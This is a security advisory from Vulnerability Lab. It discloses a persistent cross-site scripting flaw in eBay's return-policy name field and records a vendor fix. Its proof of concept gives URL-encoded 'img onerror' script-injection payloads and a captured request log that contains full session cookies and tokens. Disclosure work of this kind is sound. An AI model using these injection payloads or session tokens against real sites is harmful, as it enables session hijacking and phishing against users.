Document Title:
===============
Ebay Inc Xcom #7 - (Policy) Persistent Vulnerability
References (Source):
====================
http://www.vulnerability-lab.
com/get_content.php?id=1228
Release Date:
=============
2015-03-25
Vulnerability Laboratory ID (VL-ID):
==============================
======
1228
Common Vulnerability Scoring System:
==============================
======
4
Product & Service Introduction:
==============================
=
eBay Inc. is an American multinational internet consumer-to-consumer corporation, headquartered in San Jose, California. It was founded by Pierre Omidyar in 1995,
and became a notable success story of the dot-com bubble; it is now a multi-billion dollar business with operations localized in over thirty countries. The company
manages eBay.com, an online auction and shopping website in which people and businesses buy and sell a broad variety of goods and services worldwide. In addition to
its auction-style sellings, the website has since expanded to include `Buy It Now` standard shopping; shopping by UPC, ISBN, or other kind of SKU (via Half.com);
online classified advertisements online event ticket trading online money transfers and other services.
(Copy of the Homepage: http://en.wikipedia.org/wiki/
EBay )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered mutliple persistent input validation web vulnerabilities in the official Ebay Xcom Policy Web-Application (CMS & API).
Vulnerability Disclosure Timeline:
==============================
====
2014-03-16: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH)
2014-03-17: Vendor Notification (eBay Inc - Security Research Team)
2014-04-16: Vendor Response/Feedback (eBay Inc - Security Research Team)
2015-03-19: Vendor Fix/Patch (eBay Inc - Xcom Developer Team)
2015-03-25: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Ebay Inc.
Product: Ebay Inc - Official WebSite Magento Application & API 2014 Q1
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
==============================
==
Multiple application-side input validation web vulnerabilities has been discovered in the official Ebay Xcom Policy Web-Application (CMS & API).
A persistent validation web vulnerability allows remote attackers to inject malicious script codes to the application-side of the affected ebay online-service.
The vulnerability is located in the `my ebay account > return policy > edit returm policy module. The vulnerable input is the return policy name value.
The persistent script code execution occurs in the affected vulnerable sections of the connected `businesspolicy/manage` and `Activity Log - Item Listing`
modules. The attack vector is persistent and the severity is medium.
The security risk of the persistent web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 4.0.
Exploitation of the persistent input validation vulnerability requires a low privileged web-application user account and low user interaction.
Successful exploitation results in session hijacking, persistent phishings attacks, persistent external redirect and malware loads or persistent
manipulation of affected and connected module context.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] My Account > Return Policy > Edit Return Policy (http://www.bizpolicy.ebay.
com/businesspolicy/)
Vulnerable Input(s):
[+] Edit return policy > Policy name
Vulnerable Parameter(s):
[+] name
Affected Module(s):
[+] ebay.com/businesspolicy/manage
[+] Activity Log - Item Listing > Name
Proof of Concept (PoC):
=======================
The application-side cross site web vulnerability can be exploited by remote attackers with low privileged application user account and low or medium user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
PoC: Manage your business policies
http://www.bizpolicy.ebay.com/
businesspolicy/return?
profileId=52844186015&mode=
edit&catId=ALL&profileName=
Return+Policy+1+
%22%3E%3Cimg+src%3Dx+onerror%
3Dprompt([PERSISTENT INJECTED SCRIPT CODES!])%3B%3E&profileDesc=
Returns+Accepted%2C+Buyer%2C+
14+Days%2C+Money
+Back&catDefault=on&
returnsAcceptedOption=
ReturnsAccepted&
returnsWithinOption=Days_14&
refundOption=MoneyBack&
shippingCostPaidByOption=
Buyer&description=&_=
1395079926788
PoC: Manage your business policies
<a href="return?totalPages=1&
profileType=RETURN_POLICY&
profileId=52844186015&
pageNumber=1&source=manage">
Return Policy 1 [PERSISTENT SCRIPT CODE EXECUTION!]"><img src="x" onerror="prompt(23);"></a>
--- PoC Session Logs [GET] (Injection)---
Status: 200[OK]
GET http://www.bizpolicy.ebay.com/
businesspolicy/return?
profileId=52844186015&mode=
edit&catId=ALL&profileName=
Return++%22%3E%3C[MALICIOUS INJECTED SCRIPT CODE!])%3B%3E&profileDesc=
Returns+Accepted%2C+Buyer%2C+
14+Days%2C+Money+Back+%22%3E%
3C[MALICIOUS INJECTED SCRIPT CODE!])%3B%3E++++%22%3E%3C[
MALICIOUS INJECTED SCRIPT CODE!])%3B%3E&catDefault=on&
returnsAcceptedOption=
ReturnsAccepted&
returnsWithinOption=Days_14&
refundOption=MoneyBack&
shippingCostPaidByOption=
Buyer&description=+%22%3E%3C[
MALICIOUS INJECTED SCRIPT CODE!])%3B%3E+%22%3E%3C[
MALICIOUS INJECTED SCRIPT CODE!])%3B%3E+%22%3E%3C[
MALICIOUS INJECTED SCRIPT CODE!])%3B%3E+%22%3E%3C[
MALICIOUS INJECTED SCRIPT CODE!])%3B%3E+%22%3E%3C[
MALICIOUS INJECTED SCRIPT CODE!])%3B%3E+%22%3E%3C[
MALICIOUS INJECTED SCRIPT CODE!])%3B%3E+%22%3E%3C[
MALICIOUS INJECTED SCRIPT CODE!])%3B%3E+%22%3E%3C[
MALICIOUS INJECTED SCRIPT CODE!])%3B%3E+%22%3E%3C[
MALICIOUS INJECTED SCRIPT CODE!])%3B%3E+%22%3E%3C[
MALICIOUS INJECTED SCRIPT CODE!])%3B%3E&_=1395079183016 Load Flags[LOAD_BACKGROUND ] Größe des Inhalts[-1] Mime Type[application/json]
Request Header:
Host[www.bizpolicy.ebay.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0]
Accept[application/json, text/javascript, */*; q=0.01]
Accept-Language[de-de,de;q=0.
8,en-us;q=0.5,en;q=0.3]
Accept-Encoding[gzip, deflate]
X-Requested-With[
XMLHttpRequest]
Referer[http://www.bizpolicy.
ebay.com/businesspolicy/
return?totalPages=1&profileId=
52844186015&pageNumber=1&
source=manage]
Cookie[ebay=%5EsfLMD%
3D1391608831%5Esin%3Din%5Edv%
3D532737c1%5Esbf%3D%
23200000000000c0048002004%
5Ecos%3D1%5Ecv%3D15555%5Ejs%
3D1%5Epsi%3DAMiGpAAE*%5E; dp1=bkms/in56e99ed8^u1f/
Benjamin55086b58^tzo/-
3c532745e8^idm/153274c6b^exc/
0%3A0%3A0%3A0534ec4d8^pcid/
159931376355086b58^reg/%
5EflagReg%3D1%5E56e99ed8^mms/
0.53272b71.053288945^mpc/0%
7C77533466d8^a1p/053288958^
u1p/MjAxNC5rdW56bQ**55086b58^
bl/DE56e99ed8^pbf/%
2340000000000081a8820000045508
6b58^; s=
BAQAAAUSucEmyAAWAAAwAClMoiVgxM
jI1NjM3OTA2APgAIFMoiVhkMGE1YWU
0NTE0NDBhNDI4YjM4MmZlMzJmZmZmZ
mU4NAAGAAFTKIlYMAFKABhTKIlYNTM
yNzM3YzAuMC4xLjExLjc4LjIuMC4yA
WUAAlMoiVgjMgASAApTKIlYdGVzdEN
vb2tpZQA9AApTKIlYMjAxNC5rdW56b
QCoAAFTKHhdMQD0ACJTKIlYJDIkQVB
LaE5ZL1AkLnVqQ2dESkNIYi52bU9vN
XpMUlR6MQDuAH5TKIlYMQZodHRwOi8
vbXkuZWJheS5jb20vd3MvZUJheUlTQ
VBJLmRsbD9NeWVCYXkmbXllYmF5PSZ
0b2tlbmlkPTQ4JmN1cnJlbnRwYWdlP
U15ZUJheVByZWZlcmVuY2VzJnNzcGF
nZW5hbWU9c3VjY2Vzc0FkUHJlZmVyZ
W5jZXMHAAEAClMoeF0yMDE0Lmt1bnp
tALgADFMnOQQxMzk1MDc5MzUwOjAAA
wABUyiJWDAv3s3bBB0RgoZUFN7eKtp
3q+XXQw**; nonsession=
BAQAAAUSucEmyAAaAAJ0ACFUIa1gwM
DAwMDAwMQC0AAFTJ0XoMAFkAANVCGt
YIzhhADMACVUIa1gzNDEyOCxERVUAy
wABUyc+
4DkAmgALUynJ3TIwMTQua3Vuem1uAE
AAClUIa1gyMDE0Lmt1bnptABAAClUI
a1gyMDE0Lmt1bnptAPMAIlUIa1gkMi
RBUEtoTlkvUCQudWpDZ0RKQ0hiLnZt
T281ekxSVHoxAMoAIFyNOVhjNzdjZj
NkZjE0NDBhMzU4NmMyNDRhZDRmZmZm
ZmU0ZgFNABhVCGtYNTMyNzM3Y2EuMC
4xLjIuMTM2LjAuMC4yAAQAClUIWl0y
MDE0Lmt1bnptAJwAOFUIa1huWStzSF
oyUHJCbWRqNndWblkrc0VaMlByQTJk
ajZBR2tvZW5DNWVMb1FxZGo2eDluWS
tzZVE9PQFMABhVCGtYNTMyNzM3YzAu
MC4xLjExLjc4LjMuMC4ymyXRGsd3A9
RVp8GyedSQ2Mpg46Y*; cssg=
d0a5ae451440a428b382fe32fffffe
84; cid=xAMhIMTTiG9hpoAp%
231599313763; lucky9=9393341; npii=btguid/
c77cf3df1440a3586c244ad4fffffe
4f55086b58^cguid/
c77cfce61440a56b23d61f96fe2e02
4155086b58^; ds1=ats/1395074781098; ns1=
BAQAAAUSucEmyAAaAAKUADVUIa1gxM
jI1NjM3OTA2LzA7ps7P/+
muFmbIebGiTM4y7QojOkA*; secses=
BAQAAAUSucEmyAAaAAUsAGFUIa1g1M
zI3MzdjMC4wLjEuMTEuNzguMi4wLjL
dM4p5xXUvbFN7uT+3s6eDqkVrhQ**; shs=
BAQAAAUSucEmyAAaAAVUADlMwYV01M
TYyMjA1MzEwMDQsM0lQMoD56FArTr0
IRZNrcW0RgsFk; JSESSIONID=
A6DA3F8E8AAAD1275E907380FF01C0
1A; ds2=sotr/b7qgDzzzzzzz^]
Connection[keep-alive]
Response Header:<br